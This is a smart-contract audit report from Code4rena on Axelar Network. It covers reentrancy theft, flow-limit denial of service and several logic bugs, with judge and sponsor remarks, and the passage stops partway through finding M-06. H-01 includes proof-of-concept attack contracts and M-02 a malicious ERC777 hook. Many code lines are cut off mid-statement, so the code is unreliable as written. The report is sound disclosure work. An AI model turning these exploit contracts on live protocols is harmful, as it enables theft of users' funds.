Axelar Network
Findings & Analysis Report

2023-11-29

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Axelar Network smart contract system written in Solidity. The audit took place between July 12 — July 21 2023.

Wardens

48 Wardens contributed reports to the Axelar Network:

1. immeas
2. nobody2018
3. Jeiwan
4. pcarranzav
5. 0xTheC0der
6. nirlin
7. Chom
8. QiuhaoLi

9. T1MOH
10. bart1e
11. Sathish9098
12. UniversalCrypto (amaechieth and tettehnetworks)
13. Shubham
14. libratus
15. Toshii
16. Rolezn
17. Emmanuel
18. Raihan
19. Arz
20. SAQ
21. SM3_SS
22. 0xn006e7
23. MrPotatoMagic
24. K42
25. niloy
26. KrisApostolov
27. qpzm
28. Viktor_Cortess
29. 0xkazim
30. naman1778
31. matrix_0wl
32. DavidGiladi
33. Udsen
34. Bauchibred
35. banpaleo5
36. MohammedRizwan
37. hals

38. 0x11singh99
39. petrichor
40. ybansal2403
41. SY_S
42. flutter_developer
43. hunter_w3b
44. ReyAdmirado
45. 0xAnah
46. Walter
47. dharma09

This audit was judged by berndartmueller (judge).

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 11 unique vulnerabilities. Of these vulnerabilities, 2 received a risk rating in the category of HIGH severity and 9 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 15 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 21 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Axelar Network repository, and is composed of 73 smart contracts written in the Solidity programming language and includes 2797 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, **LightChaser** from warden

ChaseTheLight, generated the Automated Findings report and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (2)

[H-01] `expressReceiveToken` can be abused using reentry

Submitted by immeas, *also found by* nobody2018

A token transfer can be express delivered on behalf of another user when the call contains data to be executed:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L467-L487

```
File: its/interchain-token-service/InterchainTokenService.sol

467:    function expressReceiveTokenWithData(
                        // ... params
```

```
    ) external {
        if (gateway.isCommandExecuted(commandId)) revert Alr

        address caller = msg.sender;
        ITokenManager tokenManager = ITokenManager(getValidT
        IERC20 token = IERC20(tokenManager.tokenAddress());

        SafeTokenTransferFrom.safeTransferFrom(token, caller

        _expressExecuteWithInterchainTokenToken(tokenId, des

        _setExpressReceiveTokenWithData(tokenId, sourceChain
    }
```

The issue here, is that check effect interactions are not followed.

There are two attack paths here with varying assumptions and originating parties:

Attacker: Anyone, assuming there are third parties providing `expressReceiveTokenWithData` on demand with on-chain call:

1. An attacker sends a large token transfer to a chain with a public mempool.
2. Once the attacker sees the call by Axelar to [`AxelarGateway::exectute`]() in the mempool, they front-run this call with a call to the third party providing `expressReceiveTokenWithData`.
3. The third party (victim) transfers the tokens to the `destinationAddress` contract. Attacker is now `+amount` from this transfer.
4. `expressExecuteWithInterchainToken` on the `destinationAddress` contract does a call to `AxelarGateway::exectute` (which can be called by anyone) to submit the report and then a reentry call to `InterchainTokenService::execute` their `commandId`. This performs the second transfer from the `TokenManager` to the `destinationAddress` (since the `_setExpressReceiveTokenWithData` has not yet been called). Attacker contract is now `+2x amount`, having received both the express transfer and the original transfer.
5. `_setExpressReceiveTokenWithData` is set, but this `commandId` has already been executed. The victims funds have been stolen.

AxelarGateway operator, assuming there are third parties providing `expressReceiveTokenWithData` off-chain call:

The operator does the same large transfer as described above. The operator then holds the update to `AxelarGateway::execute` and instead, sends these instructions to their malicious `destinationContract`. When the `expressReceiveTokenWithData` is called, this malicious contract will do the same pattern as described above. Call `AxelarGateway::execute` then `InterchainTokenService::execute`.

The same attacks could work for tokens with transfer callbacks (like ERC777) with just the `expressReceiveToken` call, as well.

Impact

With a very large cross chain token transfer, a malicious party can use this to steal the same amount from the express receive executor.

If this fails, since it relies on front-running and some timing, the worst thing that happens for the attacker is that the transfer goes through and they've just lost the transfer fees.

Note to judge/sponsor

This makes some assumptions about how trusted an operator/reporter is and that there are possibilities to have `expressReceiveTokens` to be called essentially on demand ("`ExpressReceiveAsAService`"). If these aren't valid, please regard this as a low; just noting the failure to follow checks-effects-interactions in `expressReceiveToken`/`WithData`.

The existence of `expressReceive` implies though, that there should be some kind of service providing this premium service for a fee.

Proof of Concept

Test in `tokenService.js`:

```
        it('attacker steals funds from express executor', async
```

```
        const [token, tokenManager, tokenId] = await deployF
        await token.transfer(tokenManager.address, amount);

        const expressPayer = (await ethers.getSigners())[5];
        await token.transfer(expressPayer.address, amount);
        await token.connect(expressPayer).approve(service.ac

        const commandId = getRandomBytes32();
        const recipient = await deployContract(wallet, 'Expr
            [gateway.address,service.address,service.address

        const data = '0x'
        const payload = defaultAbiCoder.encode(
            ['uint256', 'bytes32', 'bytes', 'uint256', 'byte
            [SELECTOR_SEND_TOKEN_WITH_DATA, tokenId, recipie
        );

        const params = defaultAbiCoder.encode(
            ['string', 'string', 'address', 'bytes32', 'byte
            [sourceChain, sourceAddress, service.address, ke
        );
        await recipient.setData(params,commandId);

        // expressPayer express pays triggering the reentran
        await service.connect(expressPayer).expressReceiveTo
                tokenId,
                sourceChain,
                service.address,
                recipient.address,
                amount,
                data,
                commandId,
            );

        // recipient has gotten both the cross chain and exp
        expect(await token.balanceOf(recipient.address)).to.
    });
```

And `its/test/ExpressRecipient.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { MockAxelarGateway } from './MockAxelarGateway.sol';
```

```
import { IInterchainTokenExpressExecutable } from '../interfaces
import { AxelarExecutable } from '../../gmp-sdk/executable/Axela
import { AddressBytesUtils } from '../libraries/AddressBytesUtil

contract ExpressRecipient is IInterchainTokenExpressExecutable{
    using AddressBytesUtils for address;

    bytes private params;
    MockAxelarGateway private gateway;
    AxelarExecutable private interchainTokenService;
    bytes32 private commandId;
    string private sourceAddress;

    constructor(MockAxelarGateway _gateway_, AxelarExecutable _i
        gateway = _gateway_;
        interchainTokenService = _its;
        sourceAddress = _sourceAddress;
    }

    function setData(bytes memory _params, bytes32 _commandId) p
        params = _params;
        commandId = _commandId;
    }

    function expressExecuteWithInterchainToken(
        string calldata sourceChain,
        bytes memory sadd,
        bytes calldata data,
        bytes32 tokenId,
        uint256 amount
    ) public {
        // this uses the mock call from tests but a real reporte
        // have all data needed to make this call the proper way
        gateway.approveContractCall(params, commandId);

        bytes memory payload = abi.encode(uint256(2),tokenId,adc

        // do the reentrancy and execute the transfer
        interchainTokenService.execute(commandId, sourceChain, s
    }

    function executeWithInterchainToken(string calldata , bytes
}
```

Recommended Mitigation Steps

Consider using `_setExpressReceiveTokenWithData` before external calls.

Assessed type

Reentrancy

[berndartmueller (judge) commented](#):

> Besides being very difficult to follow and understand, there are many assumptions on trust assumption violations.

[deanamiel (Axelar) confirmed and commented](#):

> This vulnerability has been addressed. See PR [here](#).

[berndartmueller (judge) commented](#):

> After a more thorough review, it is evident that the `InterchainTokenService.expressReceiveTokenWithData`, and, under certain conditions such as the use of ERC-777 tokens, `InterchainTokenService.expressReceiveToken` functions are vulnerable to reentrancy due to violating the CEI-pattern.

> Consequently, funds can be stolen by an attacker from actors who attempt to fulfill token transfers ahead of time via the express mechanism. Thus, considering this submission as a valid high-severity finding.

> Hats off to the wardens who spotted this vulnerability!

[H-02] ERC777 and similar token implementations allow a stealing of funds when transferring tokens

Submitted by [Jeiwan](#), also found by [nobody2018](#)

A malicious actor can trick a `TokenManager` into thinking that a bigger amount of tokens were transferred. On the destination chain, the malicious actor will be able to receive more tokens than they sent on the source chain.

Proof of Concept

TokenManagerLockUnlock and TokenManagerLiquidityPool are `TokenManager` implementations that transfer tokens from/to users when sending tokens cross-chain. The low-level `_takeToken` function (TokenManagerLiquidityPool._takeToken, TokenManagerLockUnlock._takeToken) is used to take tokens from a user on the source chain before emitting a cross-chain message, e.g. via the TokenManager.sendToken function. The function computes the difference in the balance of the liquidity pool or the token manager before and after the transfer, to track the actual amount of tokens transferred. The amount is then passed in the cross-chain message to tell the `InterchainTokenService` contract on the destination chain how many tokens to give to the recipient.

The `_takeToken` function, however, is not protected from reentrance, which opens up the following attack scenario:

1. A malicious contract initiates transferring of 100 ERC777 tokens by calling TokenManager.sendToken.
2. The `_takeToken` function calls `transferFrom` on the ERC777 token contract, which calls the tokensToSend hook on the malicious contract (the sender).
3. In the hook, the malicious contract makes another call to `TokenManager.sendToken` and sends 100 more tokens.
4. In the nested `_takeToken` call, the balance change will equal 100 since, in ERC777, the balance state is updated only after the `tokensToSend` hook, so only the re-entered token transfer will be counted.
5. The re-entered call to `TokenManager.sendToken` will result in 100 tokens transferred cross-chain.
6. In the first `_takeToken` call, the balance change will equal 200 because the balance of the receiver will increase twice during the `transferFrom` call; once for the first call and once for the re-entered call.
7. As a result, the malicious contract will transfer 100+100 = 200 tokens, but the `TokenManager` contract will emit two cross-chain messages; one will transfer 100 tokens (the re-entered call) and the other will transfer 200 tokens (the first

call). This will let the malicious actor to receive 300 tokens on the destination chain, while spending only 200 tokens on the source chain.

Since the protocol is expected to support different implementations of ERC20 tokens, including custom ones, the attack scenario is valid for any token implementation that uses hooks during transfers.

Recommended Mitigation Steps

Consider adding re-entrancy protection to the `TokenManagerLiquidityPool._takeToken` and `TokenManagerLockUnlock._takeToken` functions, for example by using the ReentrancyGuard from OpenZeppelin.

Assessed type

Reentrancy

deanamiel (Axelar) confirmed and commented:

> We have added a separate token manager for fee on transfer tokens, which is protected from reentrancy.

> Link to the public PR: https://github.com/axelarnetwork/interchain-token-service/pull/96.

Medium Risk Findings (9)

[M-01] Interchain token transfer can be dossed due to flow limit

Submitted by nirlin, *also found by* QiuhaoLi

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/token-manager/TokenManager.sol#L83-L173 https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token/InterchainToken.sol#L1-L106

Impact

A large token holder can send back and forth tokens using the flow limit to the capacity in the start of every epoch, making the system unusable for everyone else.

Proof of Concept

Interchain tokens can be transferred from one chain to another via the token manager and interchain token service. There is a limit imposed for both the flow out and flow in.

Flow out happens when you send the token from one chain to another. Lets say arbitrum to optimism and you are sending USDC. So in this case, in context of arbitrum, it will be flow out and in context of optimism. Then, it will be flow in and the receiver on optimism will get the tokens via the token manager `giveToken()` callable by the inter chain token service; however, there is a flow limit imposed per epoch.

One Epoch = 6 hours long.

So there cannot be more than a certain amount of tokens sent between the chain per 6 hours. This is done to protect from the uncertain conditions, like a security breach, and to secure as many of the tokens as possible. However, the problem with such a design, is a big token holder or whale could easily exploit it to DOS the other users.

Consider the following scenario:

1. The Epoch starts.
2. Limit imposed for the flow is 10 million USDC (considering USDC to be interchain token for ease of understanding).
3. A big whale transfer 10 million USDC at the start of the epoch. Those are there, but may or may not receive them on other end right away.

4. But the limit has been reached for the specific epoch. Now, no other user can use the axelar interchain token service to transfer that particular token on the dossed lane.
5. Now, an attacker can repeat the process across multiple lanes on a multiple chain or one, in the start of every epoch, making it unusable for everyone with a very minimum cost.

This attack is pretty simple and easy to achieve and also very cheap to do; specifically, on the L2's or other cheap chains due to low gas prices.

The functions using the flow limit utility in `tokenManager.sol` are the following:

```
function sendToken(
    string calldata destinationChain,
    bytes calldata destinationAddress,
    uint256 amount,
    bytes calldata metadata
) external payable virtual {
    address sender = msg.sender;
    amount = _takeToken(sender, amount);
    _addFlowOut(amount);
    interchainTokenService.transmitSendToken{ value: msg.val
        _getTokenId(),
        sender,
        destinationChain,
        destinationAddress,
        amount,
        metadata
    );
}

/**
 * @notice Calls the service to initiate the a cross-chain t
 * @param destinationChain the name of the chain to send tok
 * @param destinationAddress the address of the user to senc
 * @param amount the amount of tokens to take from msg.sende
 * @param data the data to pass to the destination contract.
 */
function callContractWithInterchainToken(
    string calldata destinationChain,
    bytes calldata destinationAddress,
    uint256 amount,
    bytes calldata data
```

```
) external payable virtual {
    address sender = msg.sender;
    amount = _takeToken(sender, amount);
    _addFlowOut(amount);
    uint32 version = 0;
    interchainTokenService.transmitSendToken{ value: msg.val
        _getTokenId(),
        sender,
        destinationChain,
        destinationAddress,
        amount,
        abi.encodePacked(version, data)
    );
}

/**
 * @notice Calls the service to initiate the a cross-chain t
 * @param sender the address of the user paying for the cros
 * @param destinationChain the name of the chain to send tok
 * @param destinationAddress the address of the user to senc
 * @param amount the amount of tokens to take from msg.sende
 */
function transmitInterchainTransfer(
    address sender,
    string calldata destinationChain,
    bytes calldata destinationAddress,
    uint256 amount,
    bytes calldata metadata
) external payable virtual onlyToken {
    amount = _takeToken(sender, amount);
    _addFlowOut(amount);
    interchainTokenService.transmitSendToken{ value: msg.val
        _getTokenId(),
        sender,
        destinationChain,
        destinationAddress,
        amount,
        metadata
    );
}

/**
 * @notice This function gives token to a specified address.
 * @param destinationAddress the address to give tokens to.
 * @param amount the amount of token to give.
 * @return the amount of token actually given, which will or
```

```
     */
    function giveToken(address destinationAddress, uint256 amour
        amount = _giveToken(destinationAddress, amount);
        _addFlowIn(amount);
        return amount;
    }

    /**
     * @notice This function sets the flow limit for this TokenM
     * @param flowLimit the maximum difference between the toker
     */
    function setFlowLimit(uint256 flowLimit) external onlyOperat
        _setFlowLimit(flowLimit);
    }
```

Recommended Mitigation Steps

There could be many solutions for this. But two solutions are:

1. Do the Chainlink CCIP way, Chainlink recently launched cross chain service that solved a similar problem by imposing the token bps fee. By imposing such a fee along with a gas fee, the cost of attack becomes way higher and the system can be protected from such an attack.
2. Introduce the mechanism of limit per account instead of whole limit. But that can be exploited too by doing it through multiple accounts.

Chainlink's way would be the better solution to go with IMO.

Assessed type

DoS

[deanamiel (Axelar) disagreed with severity and commented]:

> Corrected Severity: QA

> This behavior is intentional. If an attacker tries to block one way (either in or out), the operator can respond by increasing the `flowLimit` (or setting it to `0`, meaning there's no limit at all) to help handle the attack. We prefer to keep fees as low as possible, so we would not want to use the Chainlink method that was suggested.

[berndartmueller (judge) decreased severity to Medium and commented](#):

> Even though this is intentional, the demonstrated issue can cause temporary availability (inability to transfer tokens) issues for the token service. This qualifies for medium severity, according to the [C4 judging criteria](#):

> Assets not at direct risk, but the **function of the protocol or its availability could be impacted**

[milapsheth (Axelar) commented](#):

> We consider this QA for the following reasons:

1. Rate limits are intended to reduce availability/liveness on large transfers, so liveness concern by itself isn't applicable to judge this issue.
2. Rate limits are opt-in and updatable, operators are recommended to choose the parameters carefully to determine the risk/liveness trade-off, and take operational responsibility to maintain it.
3. The design is intentional. We consider other proposed designs to have worse trade-offs. A bps fee introduces a fee-on-transfer behaviour, and a high cost to otherwise honest large transfers. Per account limits are not Sybil resistant. We're happy to consider other designs if they're better, but the report doesn't cover that.

[M-02] `TokenManager`'s flow limit logic is broken for `ERC777` tokens

Submitted by [bart1e](#)*, also found by* [nobody2018](#) *and* [immeas](#)

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/token-manager/implementations/TokenManagerLockUnlock.sol#L60-L67
https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/token-manager/implementations/TokenManagerLiquidityPool.sol#L94-L101

Vulnerability details

`TokenManager` implementations inherit from the `FlowLimit` contract that keeps track of flow in and flow out. If these two values are too far away from each other, it reverts:

```
function _addFlow(
    uint256 flowLimit,
    uint256 slotToAdd,
    uint256 slotToCompare,
    uint256 flowAmount
) internal {
    uint256 flowToAdd;
    uint256 flowToCompare;
    assembly {
        flowToAdd := sload(slotToAdd)
        flowToCompare := sload(slotToCompare)
    }
    if (flowToAdd + flowAmount > flowToCompare + flowLimit)
    assembly {
        sstore(slotToAdd, add(flowToAdd, flowAmount))
    }
}
```

Flow in and flow out are increased when some tokens are transferred from one blockchain to another. There are 3 different kinds of `TokenMaganer`:

- Lock/Unlock
- Mint/Burn
- Liquidity Pool

Let's see how Lock/Unlock and Liquidity Pool implementations handle cases when they have to transfer tokens to users:

```
function _giveToken(address to, uint256 amount) internal overric
        IERC20 token = IERC20(tokenAddress());
        uint256 balance = IERC20(token).balanceOf(to);

        SafeTokenTransfer.safeTransfer(token, to, amount);
```

```
        return IERC20(token).balanceOf(to) - balance;
    }


function _giveToken(address to, uint256 amount) internal overric
        IERC20 token = IERC20(tokenAddress());
        uint256 balance = IERC20(token).balanceOf(to);

        SafeTokenTransferFrom.safeTransferFrom(token, liquidityI

        return IERC20(token).balanceOf(to) - balance;
    }
```

As can be seen, they return a value equal to a balance difference before and after token transfer. This returned value is subsequently used by the `giveToken` function in order to call `_addFlowIn`:

```
function giveToken(address destinationAddress, uint256 amount) e
        amount = _giveToken(destinationAddress, amount);
        _addFlowIn(amount);
        return amount;
    }
```

The problem arises when `token` is `ERC777` token. In that case, the token receiver can manipulate its balance in order to increase flow in more than it should be; see POC section for more details.

There is no mechanism that will disallow someone from creating `TokenManager` with `ERC777` token as an underlying token, so it's definitely a possible scenario and the protocol would malfunction if it happens.

Note that it's not an issue like "users may deploy `TokenManager` for their malicious tokens that could even lie about `balanceOf`". Users may simply want to deploy `TokenManager` for some `ERC777` token and bridge their `ERC777` tokens and there is nothing unusual about it.

Impact

It is possible to manipulate flow in when there is `TokenManager` of type Lock/Unlock or Liquidity Pool and the underlying token is `ERC777` token. It could be used to create DoS attacks, as it won't be possible to transfer tokens from one blockchain to another when the flow limit is reached (it may be possible to send them from one blockchain, but it will be impossible to receive them on another one due to the `revert` in the `_addFlow` function).

In order to recover, `flowLimit` could be set to `0`, but the feature was introduced in order to control flow in and flow out. Setting `flowLimit` to `0` means that the protocol won't be able to control it anymore.

Here, the availability of the protocol is impacted, but an extra requirement is that there has to be `TokenManager` of Lock/Unlock or Liquidity Pool kind with `ERC777` underlying token, so I'm submitting this issue as Medium.

Proof of Concept

Consider the following scenario:

1. `TokenManager` of type Lock/Unlock was deployed on blockchain `X` with underlying `ERC777` token (like FLUX, for example). Let's call this token `T`.
2. Assume that blockchain `X` has low gas price (not strictly necessary, but will be helpful to visualize the issue).
3. Alice wants to move their tokens (`T`) from blockchain `Y` to `X`, so they call `sendToken` from `TokenManagerLockUnlock` in order to start the process.
4. Bob sees that and they also call `sendToken`, but with some dust amount of token `T`, they schedules that transaction from their smart contract called `MaliciousContract`.
5. Bob's transaction is handled first and finally `TokenManagerLockUnlock::_giveToken` is called in order to give that dust amount of `T` to Bob's contract (`MaliciousContract`).
6. `_giveToken`:

```
function _giveToken(address to, uint256 amount) internal overric
        IERC20 token = IERC20(tokenAddress());
```

```
        uint256 balance = IERC20(token).balanceOf(to);

        SafeTokenTransfer.safeTransfer(token, to, amount);

        return IERC20(token).balanceOf(to) - balance;
    }
```

First, this records current balance of `T` of `MaliciousContract`, which happens to be `0` and calls `transfer`, which finally calls `MaliciousContract::tokensReceived` hook.

7. `MaliciousContract::tokensReceived` hook looks as follows:

```
function tokensReceived(
    address operator,
    address from,
    address to,
    uint256 amount,
    bytes calldata data,
    bytes calldata operatorData
) external
{
    if (msg.sender == <TOKEN_MANAGER_ADDRESS>)
        maliciousContractHelper.sendMeT();
    else
        return;
}
```

Where `<TOKEN_MANAGER_ADDRESS>` is the address of the relevant `TokenManager` and `maliciousContractHelper` is an instance of `MaliciousContractHelper`. That exposes the `sendMeT` function, which will send all tokens that it has to the `MaliciousContract` instance that called it.

8. `maliciousContractHelper` has a lot of tokens `T`, so when `tokensReceived` returns, `T.balanceOf(MaliciousContract)` will increase a lot despite the fact that only a dust amount of `T` was sent from `TokenManager`.
9. The execution will return to `_giveToken` and returned value will be huge, since `IERC20(token).balanceOf(to) - balance` will now be a big value, despite

the fact that `amount` was close to `0`.

10. Flow in amount will increase a lot, so that `flowLimit` is reached and Alice's transaction will not be processed.

In short, Bob has increased the flow in amount for `TokenManager` by sending to their contract a lot of money in `ERC777` `tokensReceived` hook from their other contract. It didn't cost them much since they sent only a tiny amount of `T` between blockchains. Hence they could use almost all of their `T` tokens for the attack.

Of course Bob could perform this attack without waiting for Alice to submit their transaction. The scenario presented above was just an example. In reality, Bob can do this at any moment.

It also seems possible to transfer tokens from the same blockchain to itself (by specifying wrong `destinationChain` in `sendToken` or just by specifying `destinationChain = <CURRENT_CHAIN>`), so Bob can have their tokens `T` only on one blockchain.

If gas price on that blockchain is low, Bob can perform that attack a lot of times. All they need to do is to send tokens back to `MaliciousContractHelper` after each attack (so that it can send it to `MaliciousContract` as described above). Finally, they will reach `flowLimit` for `TokenManager` and will cause denial of service.

Tools Used

VS Code

Recommended Mitigation Steps

I would recommend doing one of the following:

- Acknowledge the issue and warn users that the protocol doesn't support `ERC777` tokens (possibly even check and if `TokenManager` with `ERC777` underlying token is to be deployed - just revert)
- Correct the value returned by `_giveTokens` to ensure that it doesn't exceed `amount`, as follows:

```
    uint currentBalance = IERC20(token).balanceOf(to);
    if (currentBalance - balance > amount)
        return amount;
    return currentBalance - balance;
```

deanamiel (Axelar) confirmed and commented:

> Fixed so that the amount returned can never be higher than the initial amount.

> Public PR link: https://github.com/axelarnetwork/interchain-token-service/pull/102

[M-03] `RemoteAddressValidator` can incorrectly convert addresses to lowercase

Submitted by Jeiwan, also found by Shubham and Chom

The `validateSender` and `addTrustedAddress` functions of `RemoteAddressValidator` can incorrectly handle the passed address arguments, which will result in false negatives. E.g. a valid sender address may be invalidated.

Proof of Concept

The RemoteAddressValidator._lowerCase function is used to convert an address to lowercase. Since the protocol is expected to support different EVM and non-EVM chains, account addresses may have different format, thus the necessity to convert them to strings and to convert the strings to lowercase when comparing them. However, the function only converts the hexadecimal letters, i.e. the characters in ranges A-F:

```
    if ((b >= 65) && (b <= 70)) bytes(s)[i] = bytes1(b + uint8(32));
```

Here, `65` corresponds to `A`, and `70` corresponds to `F`. But, since different EVM and non-EVM chains are supported, addresses can contain other characters. For example, Cosmos uses bech32 addresses and Evmos supports both hexadecimal and bech32 addresses.

If not all alphabetical characters of an address are converted to lowercase, then the address comparison in the [validateSender](#) can fail and result in a false revert.

Recommended Mitigation Steps

In the `_lowerCase` function, consider converting all alphabetical characters to lowercase, e.g.:

```
diff --git a/contracts/its/remote-address-validator/RemoteAddres
index bb101e5..e83431b 100644
--- a/contracts/its/remote-address-validator/RemoteAddressValida
+++ b/contracts/its/remote-address-validator/RemoteAddressValida
@@ -55,7 +55,7 @@ contract RemoteAddressValidator is IRemoteAddr
         uint256 length = bytes(s).length;
         for (uint256 i; i < length; i++) {
             uint8 b = uint8(bytes(s)[i]);
-            if ((b >= 65) && (b <= 70)) bytes(s)[i] = bytes1(b
+            if ((b >= 65) && (b <= 90)) bytes(s)[i] = bytes1(b
         }
         return s;
     }
```

[deanamiel (Axelar) disagreed with severity and commented](#):

> Corrected Severity: QA

> This was originally meant to cover the EVM addresses, but we implemented a fix to account for non-EVM addresses as well.

> Public PR link: https://github.com/axelarnetwork/interchain-token-service/pull/96

[berndartmueller (judge) commented](#):

> I'm maintaining the medium severity for this issue as it prevents using any non-EVM addresses.

[milapsheth (Axelar) commented](#):

> We consider this finding QA or Low severity since the scope of the implementation is for EVM chains (even though Axelar's cross-chain messaging API is generic). Non EVM chains require further consideration that wasn't the focus for this version.

[M-04] Proposal requiring native coin transfers cannot be executed

Submitted by Jeiwan, *also found by* libratus, KrisApostolov, Toshii, nobody2018, immeas, qpzm, *Emmanuel* (1, 2), Viktor_Cortess, 0xkazim, UniversalCrypto, *and* T1MOH

Lines of code

Proposals that require sending native coins in at least one of their calls cannot be executed.

Proof of Concept

The InterchainProposalExecutor._execute executes cross-chain governance proposals. The function extracts the list of calls to make under the proposal and calls `_executeProposal`. `_executeProposal`, in its turn, makes distinct calls and sends native coins along with each call as specified by the `call.value` argument:

```
    (bool success, bytes memory result) = call.target.call{ value: c
```

However, `InterchainProposalExecutor._execute` is called from a non-payable function, AxelarExecutable.execute, and thus native coins cannot be passed in the call. As a result, proposal calls that have the `value` argument greater than `0` cannot be executed.

Sending native funds to the contract in advance cannot be a solution because such funds can be stolen by back-running and executing a proposal that would consume them.

Recommended Mitigation Steps

Consider implementing an alternative `AxelarExecutable` contract (i.e. `AxelarExecutablePayable`) that has the `execute` function payable and consider inheriting in `InterchainProposalExecutor` from this alternative implementation, not from `AxelarExecutable`.

Assessed type

Payable

[deanamiel (Axelar) disputed and commented](#):

> The intention is for the contract that executes the proposal to have been already funded with native value. Native value is not meant to be sent with the call to `AxelarExecutable.execute()`.

[berndartmueller (judge) commented](#):

> The `InterchainProposalExecutor` contract, in line 20, states that this contract is abstract. The only derived contract in the repository is the `TestProposalExecutor` intended for testing purposes. @deanamiel - can you show the concrete implementation for such a derived contract that is going to be deployed?

> Given the code in scope, there would not be a `receive` function to be able to fund the contract with native tokens. This would render this submission valid.

[deanamiel (Axelar) commented](#):

> So it would be the contract that inherits `AxelarExecutable` that would need to be funded with native value for proposal execution. If we look at `InterchainGovernance` as an example, this contract does contain a receive function [here](#). Does this answer your question?

[berndartmueller (judge) commented](#):

> @deanamiel - the issue is that the `InterchainProposalExecutor` contract can not be funded with native funds, but attempts to execute proposals (target contracts) that potentially require native funds (see [L76](#)).

> I'm inclined to leave this submission as medium severity, as it does not allow using the `InterchainProposalExecutor` contract in conjunction with proposals that require native funds.

milapsheth (Axelar) commented:

> We acknowledge the severity. The solution is to add a receive function as mentioned in #344, since the design expects to fund tokens to the contract and then execute. This funding `+` execution can be done within a contract atomically if there's a concern of another proposal stealing tokens.

[M-05] Gas fees are refunded to a wrong address when transferring tokens via `InterchainToken.interchainTransferFrom`

Submitted by Jeiwan, also found by Toshii, immeas, and pcarranzav

In a case when gas fees are refunded for a token transfer made via the `InterchainToken.interchainTransferFrom` function, the fees will be refunded to the owner of the tokens, not the address that actually paid the fees. As a result, the sender will lose the fees paid for the cross-chain transaction and will not receive tokens on the other chain; the owner of the token will have their tokens and will receive the fees.

Proof of Concept

The InterchainToken.interchainTransferFrom function is used to transfer tokens cross-chain. The function is identical to the `ERC20.transferFrom` function: an approved address can send someone else's tokens to another chain. Since this is a cross-chain transaction, the sender also has to pay the additional gas fee for executing the transaction:

1. The function calls tokenManager.transmitInterchainTransfer;
2. `tokenManager.transmitInterchainTransfer` calls interchainTokenService.transmitSendToken;
3. `interchainTokenService.transmitSendToken` calls _callContract;
4. `_callContract` uses the `msg.value` to pay the extra gas fees.

Notice that the `gasService.payNativeGasForContractCall` call in `_callContract` takes the `refundTo` address, i.e. the address that will receive refunded gas fee. If we return up on the call stack, we'll see that the refund address is the sender address that's passed to the `tokenManager.transmitInterchainTransfer` call. Thus, the gas fees will be refunded to the token owner, not the caller; however, it's the caller who pays them.

Recommended Mitigation Steps

The `TokenManager.transmitInterchainTransfer` and the `InterchainTokenService.transmitSendToken` functions, besides taking the `sender` / `sourceAddress` argument, need to also take the "refund to" address. In the `InterchainToken.interchainTransferFrom` function, the two arguments will be set to different addresses: the `sender` / `sourceAddress` argument will be set to the token owner address; the new "refund to" argument will be set to `msg.sender`. Thus, while tokens will be taken from their owner, the cross-chain gas fees will be refunded to the actual transaction sender.

Assessed type

ETH-Transfer

deanamiel (Axelar) disagreed with severity and commented:

> Corrected Severity: QA

> In most cases, it will have been called by the sender anyway, so having the sender be refunded is the desired effect. Sometimes this will not be the case though, depending on the use case. Therefore, we have added a parameter to keep track of where the funds need to be refunded.

> Link to public PR: https://github.com/axelarnetwork/interchain-token-service/pull/96

berndartmueller (judge) decreased severity to Medium and commented:

> Considering this medium severity as per:

> "...In most cases it will have been called by the sender anyway" (sponsors statement above).

> Nevertheless, in the cases where an approved address transfers the tokens, the gas is incorrectly refunded.

milapsheth (Axelar) commented:

> We acknowledge the severity.

[M-06] Deployer wallet retains ability to spoof validated senders after ownership transfer

Submitted by pcarranzav*, also found by* immeas

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/9f642fe854eb11ad9f18fe028e5a8353c258e926/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L72-L74
https://github.com/code-423n4/2023-07-axelar/blob/9f642fe854eb11ad9f18fe028e5a8353c258e926/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L83

Impact

The InterchainTokenService is deployed using create3. This means, that its address depends on the address of the deployer wallet, the address of the `Create3Deployer` contract, and the salt that is extracted from a deployment key.

It should be feasible for the same deployer wallet to deploy a `Create3Deployer` with the same address on a new chain and use the same deployment key to deploy a contract with the same address as the `InterchainTokenService`, but with arbitrary implementation. A team member has confirmed on Discord that "the address will be the `interchainTokenServiceAddress` which is constant across EVM chains.". However, at deployment time, only a subset of all the possible EVM chains will be supported, and more may be added in the future. When that happens, it is possible that the original deployer wallet is compromised or no longer available.

On the other hand, the `addTrustedAddress` function validates that the sender is the owner of the `RemoteAddressValidator` contract. This owner is originally the deployer wallet, but ownership may be transferred (and it would be a good practice to transfer it to a more secure governance multisig immediately after deployment). After ownership transfer, the previous owner should not be allowed to add trusted addresses.

